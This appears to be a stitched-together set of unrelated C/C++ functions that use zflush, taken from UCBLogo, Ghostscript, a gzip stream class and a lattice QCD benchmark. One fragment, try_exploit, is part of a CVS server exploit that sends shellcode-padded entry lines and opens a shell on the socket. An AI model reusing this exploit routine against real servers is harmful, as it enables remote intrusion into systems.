void rd_print_prompt(char *str) { #ifdef ibm #if defined(__RZTC__) || defined(WIN32) if (in_graphics_mode && !in_splitscreen) #else #ifndef _MSC_VER if (in_graphics_mode && ibm_screen_top == 0) #endif /* _MSC_VER */ #endif lsplitscreen(NIL); #endif #ifdef HAVE_WX if(in_graphics_mode && !in_splitscreen) lsplitscreen(NIL); #endif #ifdef mac extern int in_fscreen(void); if (in_fscreen()) lsplitscreen(NIL); #endif ndprintf(stdout,"%t",str); #if defined(__RZTC__) && !defined(WIN32) /* sowings */ zflush(); #endif }
basic_zip_ostream<charT,traits>& basic_zip_ostream<charT, traits>::add_footer(void) { if(_added_footer) return *this; zflush(); _added_footer = true; // Writes crc and length in LSB order to the stream. unsigned long crc = this->get_crc(); for(int n=0; n<4; ++n) { this->get_ostream().put((char)(crc & 0xff)); crc >>= 8; } unsigned long length = this->get_in_size(); for(int m=0; m<4; ++m) { this->get_ostream().put((char)(length & 0xff)); length >>= 8; } return *this; }
int main(int argc, char *argv[]) { int exit_status = 0; gs_main_instance *minst = gs_main_alloc_instance(gs_malloc_init(NULL)); int code = gs_main_init_with_args(minst, argc, argv); #ifdef RUN_STRINGS { /* Run a list of strings (for testing). */ const char **pstr = run_strings; for (; *pstr; ++pstr) { int exit_code; ref error_object; int code; fprintf(stdout, "{%s} =>\n", *pstr); fflush(stdout); code = gs_main_run_string(minst, *pstr, 0, &exit_code, &error_object); zflush(osp); fprintf(stdout, " => code = %d\n", code); fflush(stdout); if (code < 0) { gs_to_exit(1); return 1; } } } #endif if (code >= 0) code = gs_main_run_start(minst); exit_status = 0; switch (code) { case 0: case e_Info: case e_Quit: break; case e_Fatal: exit_status = 1; break; default: exit_status = 255; } gs_to_exit_with_code(minst->heap, exit_status, code); switch (exit_status) { case 0: exit_status = exit_OK; break; case 1: exit_status = exit_FAILED; break; } return exit_status; }
template <class charT, class traits> inline void basic_zip_ostream<charT, traits>::finished(void) { if(_is_gzip) add_footer(); else zflush(); }
void try_exploit(void) { time_t last, now; int i, j, len, o; static char sc[SCSIZE+1]; for (i = 0; i < OFFSET; i++) zprintf(CVS_ISMOD"AB\n"); printf("[", SCSIZE * scnum / 1024); for (i = 0; i < PCNT; i++) putchar(' '); printf("]"); for (i = 0; i < PCNT + 1; i++) printf("\b"); memset(sc, 'A', SCSIZE); memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode, sizeof(xx_shellcode)); sc[SCSIZE] = 0; last = o = 0; for (i = 0; i < scnum; i++) { now = time(NULL); if (now > last || (i + 1 == scnum)) { last = now; for (j = 0; j < o; j++) printf("\b"); for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++) printf("#"); } zprintf(CVSENTRY"%s\n", sc); } printf("] "); zflush(0); zflush(1); len = read_sock(sc, sizeof(sc)); for (i = 0; i < len; i++) if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ)) { printf(EXPLOITROX); sh(sock); } printf(BAD_TRIP); }
int zprintf(char *fmt, ...) { static char buf[65536]; int len; va_list ap; va_start(ap, fmt); len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap); usent += len; if ((sizeof(zbuf) - zbufpos) < (len)) zflush(0); memcpy(zbuf + zbufpos, buf, len); zbufpos += len; if (zbufpos >= sizeof(zbuf)) QUIT(ERR_ZPRINTF); return (len); }
NODE *lkeyp() { long nc; #ifdef mac int c; #endif if (readstream == stdin && interactive) { charmode_on(); fflush(stdout); #ifdef __ZTC__ zflush(); #endif #if defined(mac) csetmode(C_RAW, stdin); c = ungetc(getc(readstream), readstream); csetmode(C_ECHO, stdin); return(c == EOF ? False : True); #elif defined(ibm) return(kbhit() ? True : False); #else #ifdef FIONREAD ioctl(0,FIONREAD,(char *)(&nc)); #else ndprintf(stdout,"Can't KEYP, no FIONREAD on this system\n"); nc = 1; /* pretend there's a char so we don't loop */ #endif if (nc > 0) return(True); else return(False); #endif } ungetc(getc(readstream),readstream); if (feof(readstream)) return(True); else return(False); }
static int report_perf(const char prec, struct QOP_MDWF_State *state, double *run_time, double *report_moment) { double sec; long long flops; long long send; long long receive; QOP_MDWF_performance(&sec, &flops, &send, &receive, state); t_sec += sec; t_flops += flops; t_send += send; t_receive += receive; rounds++; *run_time += sec; if (*run_time < *report_moment) return 1; *report_moment += SHOW_INTERVAL; zprint("perf(%c3 @ %d): %g MFlops/sec, snd %g MBytes/sec, rcv %g MBytes/sec " "[%g %lld %lld %lld]", prec, rounds, 1e-6 * t_flops/t_sec, 1e-6 * t_send/t_sec, 1e-6 * t_receive/t_sec, t_sec, t_flops, t_send, t_receive); zflush(); if (*run_time < total_sec) return 1; return 0; }
/* Parse a buffer full of data */ static int /* ret 0 or +ve if ok, else -ve error code */ ps_impl_process( pl_interp_instance_t *instance, /* interp instance to process data job in */ stream_cursor_read *cursor /* data to process */ ) { ps_interp_instance_t *psi = (ps_interp_instance_t *)instance; int code, exit_code; uint avail = cursor->limit - cursor->ptr; /* if we are at the beginning of a job check for pdf and set appropriate state variables to process either a pdf or ps job */ if ( psi->fresh_job ) { const char pdf_idstr[] = "%PDF-1."; /* do we have enough data? */ const uint pdf_idstr_len = strlen(pdf_idstr); if ( avail < pdf_idstr_len ) /* more data. NB update ptr ?? */ return 0; else /* compare beginning of stream with pdf id */ if ( !strncmp(pdf_idstr, (const char *)cursor->ptr + 1, pdf_idstr_len) ) { char fmode[4]; /* open the temporary pdf file. If the file open fails PDF fails and we allow the job to be sent to postscript and generate an error. It turns out this is easier than restoring the state and returning */ strcpy(fmode, "w+"); strcat(fmode, gp_fmode_binary_suffix); psi->pdf_filep = gp_open_scratch_file(psi->plmemory, gp_scratch_file_name_prefix, psi->pdf_file_name, fmode); if ( psi->pdf_filep == NULL ) psi->pdf_stream = false; else psi->pdf_stream = true; } else psi->pdf_stream = false; /* we only check for pdf at the beginning of the job */ psi->fresh_job = false; } /* for a pdf stream we append to the open pdf file but for postscript we hand it directly to the ps interpreter. PDF files are processed subsequently, at end job time */ code = 0; if ( psi->pdf_stream ) { uint bytes_written = fwrite((cursor->ptr + 1), 1, avail, psi->pdf_filep); if ( bytes_written != avail ) code = gs_error_invalidfileaccess; } else { /* Send the buffer to Ghostscript */ code = gsapi_run_string_continue(psi->plmemory->gs_lib_ctx, (const char *)(cursor->ptr + 1), avail, 0, &exit_code); /* needs more input this is not an error */ if ( code == e_NeedInput ) code = 0; /* error - I guess it gets "exit code" - nonsense */ if ( code < 0 ) code = exit_code; } /* update the cursor */ cursor->ptr += avail; /* flush stdout on error. */ if (code < 0) zflush(psi->minst->i_ctx_p); /* return the exit code */ return code; }
int rd_getc(FILE *strm) { int c; #ifdef WIN32 MSG msg; #endif #ifndef WIN32 /* skip this section ... */ #ifdef __RZTC__ if (strm == stdin) zflush(); c = ztc_getc(strm); #else c = getc(strm); #endif if (strm == stdin && c != EOF) update_coords(c); #ifndef mac if (c == '\r') return rd_getc(strm); #endif #ifdef ibm if (c == 17 && interactive && strm==stdin) { /* control-q */ to_pending = 0; err_logo(STOP_ERROR,NIL); if (input_blocking) { #ifdef SIG_TAKES_ARG logo_stop(0); #else logo_stop(); #endif } } if (c == 23 && interactive && strm==stdin) { /* control-w */ #ifndef __RZTC__ getc(strm); /* eat up the return */ #endif #ifdef SIG_TAKES_ARG logo_pause(0); #else logo_pause(); #endif return(rd_getc(strm)); } #endif #else /* WIN32 */ if (strm == stdin) { if (winPasteText && !line_avail) winDoPaste(); if (!line_avail) { win32_text_cursor(); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); if (line_avail) break; } } c = read_line[read_index++]; if (c == 17 && interactive && strm==stdin) { /* control-q */ to_pending = 0; err_logo(STOP_ERROR,NIL); line_avail = 0; free(read_line); if (input_blocking) logo_stop(0); return('\n'); } if (c == 23 && interactive && strm==stdin) { /* control-w */ line_avail = 0; free(read_line); logo_pause(0); return(rd_getc(strm)); } if (c == '\n') { line_avail = 0; free(read_line); } } else /* reading from a file */ c = getc(strm); #endif /* WIN32 */ #ifdef ecma return((c == EOF) ? c : ecma_clear(c)); #else return(c); #endif }